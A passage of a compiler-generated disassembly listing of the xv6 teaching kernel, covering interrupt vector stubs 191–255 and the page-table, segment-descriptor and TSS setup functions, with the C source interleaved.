80105d17: e9 4b f4 ff ff jmp 80105167 <alltraps>
80105d1c <vector191>:
.globl vector191
vector191:
pushl $0
80105d1c: 6a 00 push $0x0
pushl $191
80105d1e: 68 bf 00 00 00 push $0xbf
jmp alltraps
80105d23: e9 3f f4 ff ff jmp 80105167 <alltraps>
80105d28 <vector192>:
.globl vector192
vector192:
pushl $0
80105d28: 6a 00 push $0x0
pushl $192
80105d2a: 68 c0 00 00 00 push $0xc0
jmp alltraps
80105d2f: e9 33 f4 ff ff jmp 80105167 <alltraps>
80105d34 <vector193>:
.globl vector193
vector193:
pushl $0
80105d34: 6a 00 push $0x0
pushl $193
80105d36: 68 c1 00 00 00 push $0xc1
jmp alltraps
80105d3b: e9 27 f4 ff ff jmp 80105167 <alltraps>
80105d40 <vector194>:
.globl vector194
vector194:
pushl $0
80105d40: 6a 00 push $0x0
pushl $194
80105d42: 68 c2 00 00 00 push $0xc2
jmp alltraps
80105d47: e9 1b f4 ff ff jmp 80105167 <alltraps>
80105d4c <vector195>:
.globl vector195
vector195:
pushl $0
80105d4c: 6a 00 push $0x0
pushl $195
80105d4e: 68 c3 00 00 00 push $0xc3
jmp alltraps
80105d53: e9 0f f4 ff ff jmp 80105167 <alltraps>
80105d58 <vector196>:
.globl vector196
vector196:
pushl $0
80105d58: 6a 00 push $0x0
pushl $196
80105d5a: 68 c4 00 00 00 push $0xc4
jmp alltraps
80105d5f: e9 03 f4 ff ff jmp 80105167 <alltraps>
80105d64 <vector197>:
.globl vector197
vector197:
pushl $0
80105d64: 6a 00 push $0x0
pushl $197
80105d66: 68 c5 00 00 00 push $0xc5
jmp alltraps
80105d6b: e9 f7 f3 ff ff jmp 80105167 <alltraps>
80105d70 <vector198>:
.globl vector198
vector198:
pushl $0
80105d70: 6a 00 push $0x0
pushl $198
80105d72: 68 c6 00 00 00 push $0xc6
jmp alltraps
80105d77: e9 eb f3 ff ff jmp 80105167 <alltraps>
80105d7c <vector199>:
.globl vector199
vector199:
pushl $0
80105d7c: 6a 00 push $0x0
pushl $199
80105d7e: 68 c7 00 00 00 push $0xc7
jmp alltraps
80105d83: e9 df f3 ff ff jmp 80105167 <alltraps>
80105d88 <vector200>:
.globl vector200
vector200:
pushl $0
80105d88: 6a 00 push $0x0
pushl $200
80105d8a: 68 c8 00 00 00 push $0xc8
jmp alltraps
80105d8f: e9 d3 f3 ff ff jmp 80105167 <alltraps>
80105d94 <vector201>:
.globl vector201
vector201:
pushl $0
80105d94: 6a 00 push $0x0
pushl $201
80105d96: 68 c9 00 00 00 push $0xc9
jmp alltraps
80105d9b: e9 c7 f3 ff ff jmp 80105167 <alltraps>
80105da0 <vector202>:
.globl vector202
vector202:
pushl $0
80105da0: 6a 00 push $0x0
pushl $202
80105da2: 68 ca 00 00 00 push $0xca
jmp alltraps
80105da7: e9 bb f3 ff ff jmp 80105167 <alltraps>
80105dac <vector203>:
.globl vector203
vector203:
pushl $0
80105dac: 6a 00 push $0x0
pushl $203
80105dae: 68 cb 00 00 00 push $0xcb
jmp alltraps
80105db3: e9 af f3 ff ff jmp 80105167 <alltraps>
80105db8 <vector204>:
.globl vector204
vector204:
pushl $0
80105db8: 6a 00 push $0x0
pushl $204
80105dba: 68 cc 00 00 00 push $0xcc
jmp alltraps
80105dbf: e9 a3 f3 ff ff jmp 80105167 <alltraps>
80105dc4 <vector205>:
.globl vector205
vector205:
pushl $0
80105dc4: 6a 00 push $0x0
pushl $205
80105dc6: 68 cd 00 00 00 push $0xcd
jmp alltraps
80105dcb: e9 97 f3 ff ff jmp 80105167 <alltraps>
80105dd0 <vector206>:
.globl vector206
vector206:
pushl $0
80105dd0: 6a 00 push $0x0
pushl $206
80105dd2: 68 ce 00 00 00 push $0xce
jmp alltraps
80105dd7: e9 8b f3 ff ff jmp 80105167 <alltraps>
80105ddc <vector207>:
.globl vector207
vector207:
pushl $0
80105ddc: 6a 00 push $0x0
pushl $207
80105dde: 68 cf 00 00 00 push $0xcf
jmp alltraps
80105de3: e9 7f f3 ff ff jmp 80105167 <alltraps>
80105de8 <vector208>:
.globl vector208
vector208:
pushl $0
80105de8: 6a 00 push $0x0
pushl $208
80105dea: 68 d0 00 00 00 push $0xd0
jmp alltraps
80105def: e9 73 f3 ff ff jmp 80105167 <alltraps>
80105df4 <vector209>:
.globl vector209
vector209:
pushl $0
80105df4: 6a 00 push $0x0
pushl $209
80105df6: 68 d1 00 00 00 push $0xd1
jmp alltraps
80105dfb: e9 67 f3 ff ff jmp 80105167 <alltraps>
80105e00 <vector210>:
.globl vector210
vector210:
pushl $0
80105e00: 6a 00 push $0x0
pushl $210
80105e02: 68 d2 00 00 00 push $0xd2
jmp alltraps
80105e07: e9 5b f3 ff ff jmp 80105167 <alltraps>
80105e0c <vector211>:
.globl vector211
vector211:
pushl $0
80105e0c: 6a 00 push $0x0
pushl $211
80105e0e: 68 d3 00 00 00 push $0xd3
jmp alltraps
80105e13: e9 4f f3 ff ff jmp 80105167 <alltraps>
80105e18 <vector212>:
.globl vector212
vector212:
pushl $0
80105e18: 6a 00 push $0x0
pushl $212
80105e1a: 68 d4 00 00 00 push $0xd4
jmp alltraps
80105e1f: e9 43 f3 ff ff jmp 80105167 <alltraps>
80105e24 <vector213>:
.globl vector213
vector213:
pushl $0
80105e24: 6a 00 push $0x0
pushl $213
80105e26: 68 d5 00 00 00 push $0xd5
jmp alltraps
80105e2b: e9 37 f3 ff ff jmp 80105167 <alltraps>
80105e30 <vector214>:
.globl vector214
vector214:
pushl $0
80105e30: 6a 00 push $0x0
pushl $214
80105e32: 68 d6 00 00 00 push $0xd6
jmp alltraps
80105e37: e9 2b f3 ff ff jmp 80105167 <alltraps>
80105e3c <vector215>:
.globl vector215
vector215:
pushl $0
80105e3c: 6a 00 push $0x0
pushl $215
80105e3e: 68 d7 00 00 00 push $0xd7
jmp alltraps
80105e43: e9 1f f3 ff ff jmp 80105167 <alltraps>
80105e48 <vector216>:
.globl vector216
vector216:
pushl $0
80105e48: 6a 00 push $0x0
pushl $216
80105e4a: 68 d8 00 00 00 push $0xd8
jmp alltraps
80105e4f: e9 13 f3 ff ff jmp 80105167 <alltraps>
80105e54 <vector217>:
.globl vector217
vector217:
pushl $0
80105e54: 6a 00 push $0x0
pushl $217
80105e56: 68 d9 00 00 00 push $0xd9
jmp alltraps
80105e5b: e9 07 f3 ff ff jmp 80105167 <alltraps>
80105e60 <vector218>:
.globl vector218
vector218:
pushl $0
80105e60: 6a 00 push $0x0
pushl $218
80105e62: 68 da 00 00 00 push $0xda
jmp alltraps
80105e67: e9 fb f2 ff ff jmp 80105167 <alltraps>
80105e6c <vector219>:
.globl vector219
vector219:
pushl $0
80105e6c: 6a 00 push $0x0
pushl $219
80105e6e: 68 db 00 00 00 push $0xdb
jmp alltraps
80105e73: e9 ef f2 ff ff jmp 80105167 <alltraps>
80105e78 <vector220>:
.globl vector220
vector220:
pushl $0
80105e78: 6a 00 push $0x0
pushl $220
80105e7a: 68 dc 00 00 00 push $0xdc
jmp alltraps
80105e7f: e9 e3 f2 ff ff jmp 80105167 <alltraps>
80105e84 <vector221>:
.globl vector221
vector221:
pushl $0
80105e84: 6a 00 push $0x0
pushl $221
80105e86: 68 dd 00 00 00 push $0xdd
jmp alltraps
80105e8b: e9 d7 f2 ff ff jmp 80105167 <alltraps>
80105e90 <vector222>:
.globl vector222
vector222:
pushl $0
80105e90: 6a 00 push $0x0
pushl $222
80105e92: 68 de 00 00 00 push $0xde
jmp alltraps
80105e97: e9 cb f2 ff ff jmp 80105167 <alltraps>
80105e9c <vector223>:
.globl vector223
vector223:
pushl $0
80105e9c: 6a 00 push $0x0
pushl $223
80105e9e: 68 df 00 00 00 push $0xdf
jmp alltraps
80105ea3: e9 bf f2 ff ff jmp 80105167 <alltraps>
80105ea8 <vector224>:
.globl vector224
vector224:
pushl $0
80105ea8: 6a 00 push $0x0
pushl $224
80105eaa: 68 e0 00 00 00 push $0xe0
jmp alltraps
80105eaf: e9 b3 f2 ff ff jmp 80105167 <alltraps>
80105eb4 <vector225>:
.globl vector225
vector225:
pushl $0
80105eb4: 6a 00 push $0x0
pushl $225
80105eb6: 68 e1 00 00 00 push $0xe1
jmp alltraps
80105ebb: e9 a7 f2 ff ff jmp 80105167 <alltraps>
80105ec0 <vector226>:
.globl vector226
vector226:
pushl $0
80105ec0: 6a 00 push $0x0
pushl $226
80105ec2: 68 e2 00 00 00 push $0xe2
jmp alltraps
80105ec7: e9 9b f2 ff ff jmp 80105167 <alltraps>
80105ecc <vector227>:
.globl vector227
vector227:
pushl $0
80105ecc: 6a 00 push $0x0
pushl $227
80105ece: 68 e3 00 00 00 push $0xe3
jmp alltraps
80105ed3: e9 8f f2 ff ff jmp 80105167 <alltraps>
80105ed8 <vector228>:
.globl vector228
vector228:
pushl $0
80105ed8: 6a 00 push $0x0
pushl $228
80105eda: 68 e4 00 00 00 push $0xe4
jmp alltraps
80105edf: e9 83 f2 ff ff jmp 80105167 <alltraps>
80105ee4 <vector229>:
.globl vector229
vector229:
pushl $0
80105ee4: 6a 00 push $0x0
pushl $229
80105ee6: 68 e5 00 00 00 push $0xe5
jmp alltraps
80105eeb: e9 77 f2 ff ff jmp 80105167 <alltraps>
80105ef0 <vector230>:
.globl vector230
vector230:
pushl $0
80105ef0: 6a 00 push $0x0
pushl $230
80105ef2: 68 e6 00 00 00 push $0xe6
jmp alltraps
80105ef7: e9 6b f2 ff ff jmp 80105167 <alltraps>
80105efc <vector231>:
.globl vector231
vector231:
pushl $0
80105efc: 6a 00 push $0x0
pushl $231
80105efe: 68 e7 00 00 00 push $0xe7
jmp alltraps
80105f03: e9 5f f2 ff ff jmp 80105167 <alltraps>
80105f08 <vector232>:
.globl vector232
vector232:
pushl $0
80105f08: 6a 00 push $0x0
pushl $232
80105f0a: 68 e8 00 00 00 push $0xe8
jmp alltraps
80105f0f: e9 53 f2 ff ff jmp 80105167 <alltraps>
80105f14 <vector233>:
.globl vector233
vector233:
pushl $0
80105f14: 6a 00 push $0x0
pushl $233
80105f16: 68 e9 00 00 00 push $0xe9
jmp alltraps
80105f1b: e9 47 f2 ff ff jmp 80105167 <alltraps>
80105f20 <vector234>:
.globl vector234
vector234:
pushl $0
80105f20: 6a 00 push $0x0
pushl $234
80105f22: 68 ea 00 00 00 push $0xea
jmp alltraps
80105f27: e9 3b f2 ff ff jmp 80105167 <alltraps>
80105f2c <vector235>:
.globl vector235
vector235:
pushl $0
80105f2c: 6a 00 push $0x0
pushl $235
80105f2e: 68 eb 00 00 00 push $0xeb
jmp alltraps
80105f33: e9 2f f2 ff ff jmp 80105167 <alltraps>
80105f38 <vector236>:
.globl vector236
vector236:
pushl $0
80105f38: 6a 00 push $0x0
pushl $236
80105f3a: 68 ec 00 00 00 push $0xec
jmp alltraps
80105f3f: e9 23 f2 ff ff jmp 80105167 <alltraps>
80105f44 <vector237>:
.globl vector237
vector237:
pushl $0
80105f44: 6a 00 push $0x0
pushl $237
80105f46: 68 ed 00 00 00 push $0xed
jmp alltraps
80105f4b: e9 17 f2 ff ff jmp 80105167 <alltraps>
80105f50 <vector238>:
.globl vector238
vector238:
pushl $0
80105f50: 6a 00 push $0x0
pushl $238
80105f52: 68 ee 00 00 00 push $0xee
jmp alltraps
80105f57: e9 0b f2 ff ff jmp 80105167 <alltraps>
80105f5c <vector239>:
.globl vector239
vector239:
pushl $0
80105f5c: 6a 00 push $0x0
pushl $239
80105f5e: 68 ef 00 00 00 push $0xef
jmp alltraps
80105f63: e9 ff f1 ff ff jmp 80105167 <alltraps>
80105f68 <vector240>:
.globl vector240
vector240:
pushl $0
80105f68: 6a 00 push $0x0
pushl $240
80105f6a: 68 f0 00 00 00 push $0xf0
jmp alltraps
80105f6f: e9 f3 f1 ff ff jmp 80105167 <alltraps>
80105f74 <vector241>:
.globl vector241
vector241:
pushl $0
80105f74: 6a 00 push $0x0
pushl $241
80105f76: 68 f1 00 00 00 push $0xf1
jmp alltraps
80105f7b: e9 e7 f1 ff ff jmp 80105167 <alltraps>
80105f80 <vector242>:
.globl vector242
vector242:
pushl $0
80105f80: 6a 00 push $0x0
pushl $242
80105f82: 68 f2 00 00 00 push $0xf2
jmp alltraps
80105f87: e9 db f1 ff ff jmp 80105167 <alltraps>
80105f8c <vector243>:
.globl vector243
vector243:
pushl $0
80105f8c: 6a 00 push $0x0
pushl $243
80105f8e: 68 f3 00 00 00 push $0xf3
jmp alltraps
80105f93: e9 cf f1 ff ff jmp 80105167 <alltraps>
80105f98 <vector244>:
.globl vector244
vector244:
pushl $0
80105f98: 6a 00 push $0x0
pushl $244
80105f9a: 68 f4 00 00 00 push $0xf4
jmp alltraps
80105f9f: e9 c3 f1 ff ff jmp 80105167 <alltraps>
80105fa4 <vector245>:
.globl vector245
vector245:
pushl $0
80105fa4: 6a 00 push $0x0
pushl $245
80105fa6: 68 f5 00 00 00 push $0xf5
jmp alltraps
80105fab: e9 b7 f1 ff ff jmp 80105167 <alltraps>
80105fb0 <vector246>:
.globl vector246
vector246:
pushl $0
80105fb0: 6a 00 push $0x0
pushl $246
80105fb2: 68 f6 00 00 00 push $0xf6
jmp alltraps
80105fb7: e9 ab f1 ff ff jmp 80105167 <alltraps>
80105fbc <vector247>:
.globl vector247
vector247:
pushl $0
80105fbc: 6a 00 push $0x0
pushl $247
80105fbe: 68 f7 00 00 00 push $0xf7
jmp alltraps
80105fc3: e9 9f f1 ff ff jmp 80105167 <alltraps>
80105fc8 <vector248>:
.globl vector248
vector248:
pushl $0
80105fc8: 6a 00 push $0x0
pushl $248
80105fca: 68 f8 00 00 00 push $0xf8
jmp alltraps
80105fcf: e9 93 f1 ff ff jmp 80105167 <alltraps>
80105fd4 <vector249>:
.globl vector249
vector249:
pushl $0
80105fd4: 6a 00 push $0x0
pushl $249
80105fd6: 68 f9 00 00 00 push $0xf9
jmp alltraps
80105fdb: e9 87 f1 ff ff jmp 80105167 <alltraps>
80105fe0 <vector250>:
.globl vector250
vector250:
pushl $0
80105fe0: 6a 00 push $0x0
pushl $250
80105fe2: 68 fa 00 00 00 push $0xfa
jmp alltraps
80105fe7: e9 7b f1 ff ff jmp 80105167 <alltraps>
80105fec <vector251>:
.globl vector251
vector251:
pushl $0
80105fec: 6a 00 push $0x0
pushl $251
80105fee: 68 fb 00 00 00 push $0xfb
jmp alltraps
80105ff3: e9 6f f1 ff ff jmp 80105167 <alltraps>
80105ff8 <vector252>:
.globl vector252
vector252:
pushl $0
80105ff8: 6a 00 push $0x0
pushl $252
80105ffa: 68 fc 00 00 00 push $0xfc
jmp alltraps
80105fff: e9 63 f1 ff ff jmp 80105167 <alltraps>
80106004 <vector253>:
.globl vector253
vector253:
pushl $0
80106004: 6a 00 push $0x0
pushl $253
80106006: 68 fd 00 00 00 push $0xfd
jmp alltraps
8010600b: e9 57 f1 ff ff jmp 80105167 <alltraps>
80106010 <vector254>:
.globl vector254
vector254:
pushl $0
80106010: 6a 00 push $0x0
pushl $254
80106012: 68 fe 00 00 00 push $0xfe
jmp alltraps
80106017: e9 4b f1 ff ff jmp 80105167 <alltraps>
8010601c <vector255>:
.globl vector255
vector255:
pushl $0
8010601c: 6a 00 push $0x0
pushl $255
8010601e: 68 ff 00 00 00 push $0xff
jmp alltraps
80106023: e9 3f f1 ff ff jmp 80105167 <alltraps>
80106028 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106028: 55 push %ebp
80106029: 89 e5 mov %esp,%ebp
8010602b: 57 push %edi
8010602c: 56 push %esi
8010602d: 53 push %ebx
8010602e: 83 ec 0c sub $0xc,%esp
80106031: 89 d3 mov %edx,%ebx
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80106033: c1 ea 16 shr $0x16,%edx
80106036: 8d 3c 90 lea (%eax,%edx,4),%edi
if(*pde & PTE_P){
80106039: 8b 37 mov (%edi),%esi
8010603b: f7 c6 01 00 00 00 test $0x1,%esi
80106041: 74 20 je 80106063 <walkpgdir+0x3b>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
80106043: 81 e6 00 f0 ff ff and $0xfffff000,%esi
80106049: 81 c6 00 00 00 80 add $0x80000000,%esi
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
8010604f: c1 eb 0c shr $0xc,%ebx
80106052: 81 e3 ff 03 00 00 and $0x3ff,%ebx
80106058: 8d 04 9e lea (%esi,%ebx,4),%eax
}
8010605b: 8d 65 f4 lea -0xc(%ebp),%esp
8010605e: 5b pop %ebx
8010605f: 5e pop %esi
80106060: 5f pop %edi
80106061: 5d pop %ebp
80106062: c3 ret
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
80106063: 85 c9 test %ecx,%ecx
80106065: 74 2b je 80106092 <walkpgdir+0x6a>
80106067: e8 e6 c0 ff ff call 80102152 <kalloc>
8010606c: 89 c6 mov %eax,%esi
8010606e: 85 c0 test %eax,%eax
80106070: 74 20 je 80106092 <walkpgdir+0x6a>
memset(pgtab, 0, PGSIZE);
80106072: 83 ec 04 sub $0x4,%esp
80106075: 68 00 10 00 00 push $0x1000
8010607a: 6a 00 push $0x0
8010607c: 50 push %eax
8010607d: e8 4b df ff ff call 80103fcd <memset>
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
80106082: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106088: 83 c8 07 or $0x7,%eax
8010608b: 89 07 mov %eax,(%edi)
8010608d: 83 c4 10 add $0x10,%esp
80106090: eb bd jmp 8010604f <walkpgdir+0x27>
return 0;
80106092: b8 00 00 00 00 mov $0x0,%eax
80106097: eb c2 jmp 8010605b <walkpgdir+0x33>
80106099 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106099: 55 push %ebp
8010609a: 89 e5 mov %esp,%ebp
8010609c: 57 push %edi
8010609d: 56 push %esi
8010609e: 53 push %ebx
8010609f: 83 ec 1c sub $0x1c,%esp
801060a2: 89 45 e4 mov %eax,-0x1c(%ebp)
801060a5: 8b 75 08 mov 0x8(%ebp),%esi
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
801060a8: 89 d3 mov %edx,%ebx
801060aa: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
801060b0: 8d 7c 0a ff lea -0x1(%edx,%ecx,1),%edi
801060b4: 81 e7 00 f0 ff ff and $0xfffff000,%edi
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
801060ba: b9 01 00 00 00 mov $0x1,%ecx
801060bf: 89 da mov %ebx,%edx
801060c1: 8b 45 e4 mov -0x1c(%ebp),%eax
801060c4: e8 5f ff ff ff call 80106028 <walkpgdir>
801060c9: 85 c0 test %eax,%eax
801060cb: 74 2e je 801060fb <mappages+0x62>
return -1;
if(*pte & PTE_P)
801060cd: f6 00 01 testb $0x1,(%eax)
801060d0: 75 1c jne 801060ee <mappages+0x55>
panic("remap");
*pte = pa | perm | PTE_P;
801060d2: 89 f2 mov %esi,%edx
801060d4: 0b 55 0c or 0xc(%ebp),%edx
801060d7: 83 ca 01 or $0x1,%edx
801060da: 89 10 mov %edx,(%eax)
if(a == last)
801060dc: 39 fb cmp %edi,%ebx
801060de: 74 28 je 80106108 <mappages+0x6f>
break;
a += PGSIZE;
801060e0: 81 c3 00 10 00 00 add $0x1000,%ebx
pa += PGSIZE;
801060e6: 81 c6 00 10 00 00 add $0x1000,%esi
if((pte = walkpgdir(pgdir, a, 1)) == 0)
801060ec: eb cc jmp 801060ba <mappages+0x21>
panic("remap");
801060ee: 83 ec 0c sub $0xc,%esp
801060f1: 68 b0 71 10 80 push $0x801071b0
801060f6: e8 61 a2 ff ff call 8010035c <panic>
return -1;
801060fb: b8 ff ff ff ff mov $0xffffffff,%eax
}
return 0;
}
80106100: 8d 65 f4 lea -0xc(%ebp),%esp
80106103: 5b pop %ebx
80106104: 5e pop %esi
80106105: 5f pop %edi
80106106: 5d pop %ebp
80106107: c3 ret
return 0;
80106108: b8 00 00 00 00 mov $0x0,%eax
8010610d: eb f1 jmp 80106100 <mappages+0x67>
8010610f <seginit>:
{
8010610f: f3 0f 1e fb endbr32
80106113: 55 push %ebp
80106114: 89 e5 mov %esp,%ebp
80106116: 53 push %ebx
80106117: 83 ec 14 sub $0x14,%esp
c = &cpus[cpuid()];
8010611a: e8 87 d1 ff ff call 801032a6 <cpuid>
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
8010611f: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
80106125: 66 c7 80 f8 27 11 80 movw $0xffff,-0x7feed808(%eax)
8010612c: ff ff
8010612e: 66 c7 80 fa 27 11 80 movw $0x0,-0x7feed806(%eax)
80106135: 00 00
80106137: c6 80 fc 27 11 80 00 movb $0x0,-0x7feed804(%eax)
8010613e: 0f b6 88 fd 27 11 80 movzbl -0x7feed803(%eax),%ecx
80106145: 83 e1 f0 and $0xfffffff0,%ecx
80106148: 83 c9 1a or $0x1a,%ecx
8010614b: 83 e1 9f and $0xffffff9f,%ecx
8010614e: 83 c9 80 or $0xffffff80,%ecx
80106151: 88 88 fd 27 11 80 mov %cl,-0x7feed803(%eax)
80106157: 0f b6 88 fe 27 11 80 movzbl -0x7feed802(%eax),%ecx
8010615e: 83 c9 0f or $0xf,%ecx
80106161: 83 e1 cf and $0xffffffcf,%ecx
80106164: 83 c9 c0 or $0xffffffc0,%ecx
80106167: 88 88 fe 27 11 80 mov %cl,-0x7feed802(%eax)
8010616d: c6 80 ff 27 11 80 00 movb $0x0,-0x7feed801(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106174: 66 c7 80 00 28 11 80 movw $0xffff,-0x7feed800(%eax)
8010617b: ff ff
8010617d: 66 c7 80 02 28 11 80 movw $0x0,-0x7feed7fe(%eax)
80106184: 00 00
80106186: c6 80 04 28 11 80 00 movb $0x0,-0x7feed7fc(%eax)
8010618d: 0f b6 88 05 28 11 80 movzbl -0x7feed7fb(%eax),%ecx
80106194: 83 e1 f0 and $0xfffffff0,%ecx
80106197: 83 c9 12 or $0x12,%ecx
8010619a: 83 e1 9f and $0xffffff9f,%ecx
8010619d: 83 c9 80 or $0xffffff80,%ecx
801061a0: 88 88 05 28 11 80 mov %cl,-0x7feed7fb(%eax)
801061a6: 0f b6 88 06 28 11 80 movzbl -0x7feed7fa(%eax),%ecx
801061ad: 83 c9 0f or $0xf,%ecx
801061b0: 83 e1 cf and $0xffffffcf,%ecx
801061b3: 83 c9 c0 or $0xffffffc0,%ecx
801061b6: 88 88 06 28 11 80 mov %cl,-0x7feed7fa(%eax)
801061bc: c6 80 07 28 11 80 00 movb $0x0,-0x7feed7f9(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801061c3: 66 c7 80 08 28 11 80 movw $0xffff,-0x7feed7f8(%eax)
801061ca: ff ff
801061cc: 66 c7 80 0a 28 11 80 movw $0x0,-0x7feed7f6(%eax)
801061d3: 00 00
801061d5: c6 80 0c 28 11 80 00 movb $0x0,-0x7feed7f4(%eax)
801061dc: c6 80 0d 28 11 80 fa movb $0xfa,-0x7feed7f3(%eax)
801061e3: 0f b6 88 0e 28 11 80 movzbl -0x7feed7f2(%eax),%ecx
801061ea: 83 c9 0f or $0xf,%ecx
801061ed: 83 e1 cf and $0xffffffcf,%ecx
801061f0: 83 c9 c0 or $0xffffffc0,%ecx
801061f3: 88 88 0e 28 11 80 mov %cl,-0x7feed7f2(%eax)
801061f9: c6 80 0f 28 11 80 00 movb $0x0,-0x7feed7f1(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106200: 66 c7 80 10 28 11 80 movw $0xffff,-0x7feed7f0(%eax)
80106207: ff ff
80106209: 66 c7 80 12 28 11 80 movw $0x0,-0x7feed7ee(%eax)
80106210: 00 00
80106212: c6 80 14 28 11 80 00 movb $0x0,-0x7feed7ec(%eax)
80106219: c6 80 15 28 11 80 f2 movb $0xf2,-0x7feed7eb(%eax)
80106220: 0f b6 88 16 28 11 80 movzbl -0x7feed7ea(%eax),%ecx
80106227: 83 c9 0f or $0xf,%ecx
8010622a: 83 e1 cf and $0xffffffcf,%ecx
8010622d: 83 c9 c0 or $0xffffffc0,%ecx
80106230: 88 88 16 28 11 80 mov %cl,-0x7feed7ea(%eax)
80106236: c6 80 17 28 11 80 00 movb $0x0,-0x7feed7e9(%eax)
lgdt(c->gdt, sizeof(c->gdt));
8010623d: 05 f0 27 11 80 add $0x801127f0,%eax
pd[0] = size-1;
80106242: 66 c7 45 f2 2f 00 movw $0x2f,-0xe(%ebp)
pd[1] = (uint)p;
80106248: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
8010624c: c1 e8 10 shr $0x10,%eax
8010624f: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80106253: 8d 45 f2 lea -0xe(%ebp),%eax
80106256: 0f 01 10 lgdtl (%eax)
}
80106259: 83 c4 14 add $0x14,%esp
8010625c: 5b pop %ebx
8010625d: 5d pop %ebp
8010625e: c3 ret
8010625f <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
8010625f: f3 0f 1e fb endbr32
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106263: a1 a4 55 11 80 mov 0x801155a4,%eax
80106268: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
8010626d: 0f 22 d8 mov %eax,%cr3
}
80106270: c3 ret
80106271 <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80106271: f3 0f 1e fb endbr32
80106275: 55 push %ebp
80106276: 89 e5 mov %esp,%ebp
80106278: 57 push %edi
80106279: 56 push %esi
8010627a: 53 push %ebx
8010627b: 83 ec 1c sub $0x1c,%esp
8010627e: 8b 75 08 mov 0x8(%ebp),%esi
if(p == 0)
80106281: 85 f6 test %esi,%esi
80106283: 0f 84 dd 00 00 00 je 80106366 <switchuvm+0xf5>
panic("switchuvm: no process");
if(p->kstack == 0)
80106289: 83 7e 08 00 cmpl $0x0,0x8(%esi)
8010628d: 0f 84 e0 00 00 00 je 80106373 <switchuvm+0x102>
panic("switchuvm: no kstack");
if(p->pgdir == 0)
80106293: 83 7e 04 00 cmpl $0x0,0x4(%esi)
80106297: 0f 84 e3 00 00 00 je 80106380 <switchuvm+0x10f>
panic("switchuvm: no pgdir");
pushcli();
8010629d: e8 8e db ff ff call 80103e30 <pushcli>
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
801062a2: e8 9f cf ff ff call 80103246 <mycpu>
801062a7: 89 c3 mov %eax,%ebx
801062a9: e8 98 cf ff ff call 80103246 <mycpu>
801062ae: 8d 78 08 lea 0x8(%eax),%edi
801062b1: e8 90 cf ff ff call 80103246 <mycpu>
801062b6: 83 c0 08 add $0x8,%eax
801062b9: c1 e8 10 shr $0x10,%eax
801062bc: 89 45 e4 mov %eax,-0x1c(%ebp)
801062bf: e8 82 cf ff ff call 80103246 <mycpu>
801062c4: 83 c0 08 add $0x8,%eax
801062c7: c1 e8 18 shr $0x18,%eax
801062ca: 66 c7 83 98 00 00 00 movw $0x67,0x98(%ebx)
801062d1: 67 00
801062d3: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx)
801062da: 0f b6 4d e4 movzbl -0x1c(%ebp),%ecx
801062de: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx)
801062e4: 0f b6 93 9d 00 00 00 movzbl 0x9d(%ebx),%edx
801062eb: 83 e2 f0 and $0xfffffff0,%edx
801062ee: 83 ca 19 or $0x19,%edx
801062f1: 83 e2 9f and $0xffffff9f,%edx
801062f4: 83 ca 80 or $0xffffff80,%edx
801062f7: 88 93 9d 00 00 00 mov %dl,0x9d(%ebx)
801062fd: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx)
80106304: 88 83 9f 00 00 00 mov %al,0x9f(%ebx)
sizeof(mycpu()->ts)-1, 0);
mycpu()->gdt[SEG_TSS].s = 0;
8010630a: e8 37 cf ff ff call 80103246 <mycpu>
8010630f: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80106316: 83 e2 ef and $0xffffffef,%edx
80106319: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
mycpu()->ts.ss0 = SEG_KDATA << 3;
8010631f: e8 22 cf ff ff call 80103246 <mycpu>
80106324: 66 c7 40 10 10 00 movw $0x10,0x10(%eax)
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
8010632a: 8b 5e 08 mov 0x8(%esi),%ebx
8010632d: e8 14 cf ff ff call 80103246 <mycpu>
80106332: 81 c3 00 10 00 00 add $0x1000,%ebx
80106338: 89 58 0c mov %ebx,0xc(%eax)
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
mycpu()->ts.iomb = (ushort) 0xFFFF;
8010633b: e8 06 cf ff ff call 80103246 <mycpu>
80106340: 66 c7 40 6e ff ff movw $0xffff,0x6e(%eax)
asm volatile("ltr %0" : : "r" (sel));
